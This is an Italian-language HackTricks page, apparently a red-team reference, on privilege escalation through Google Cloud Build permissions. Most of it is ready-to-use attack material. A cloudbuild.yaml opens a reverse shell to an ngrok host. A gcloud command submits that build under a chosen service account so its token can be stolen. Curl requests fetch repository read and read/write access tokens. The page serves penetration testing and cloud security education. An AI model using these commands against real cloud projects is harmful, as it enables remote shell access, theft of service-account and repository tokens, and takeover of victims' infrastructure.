GCP - Cloudbuild Privesc

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

cloudbuild

Per maggiori informazioni su Cloud Build consulta:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Con questa autorizzazione puoi inviare un Cloud Build. La macchina cloudbuild avrà nel suo filesystem, di default, un token del cloudbuild Service Account: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Tuttavia, puoi indicare qualsiasi service account all’interno del progetto nella configurazione di cloudbuild.
Quindi, puoi semplicemente far exfiltrate dalla macchina il token verso il tuo server o ottenere una reverse shell al suo interno e recuperare il token (il file contenente il token potrebbe cambiare).

Sfruttamento diretto via gcloud CLI

1- Crea cloudbuild.yaml e modificalo con i dati del tuo listener

Cloud Build YAML configuration for reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Carica una build semplice senza sorgente, il file yaml e specifica la SA da usare per la build:

Invia Cloud Build con service account specificato ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Usare la libreria python gcloud

Puoi trovare lo script exploit originale here on GitHub (ma la posizione da cui prende il token non ha funzionato per me). Pertanto, controlla uno script per automatizzare la creation, exploit and cleaning of a vuln environment here e uno script python per ottenere una reverse shell all’interno della macchina cloudbuild e steal it here (nel codice puoi trovare come specificare altri service accounts).

Per una spiegazione più approfondita, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

Con questo permesso l’utente può ottenere il read access token utilizzato per accedere al repository:

Ottieni il read access token per il repository ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

Con questo permesso l’utente può ottenere il read and write access token utilizzato per accedere al repository:

Ottieni il read and write access token per il repository ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

Con questo permesso puoi ottenere i repos a cui la connection ha accesso:

Recupera repositories collegabili ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks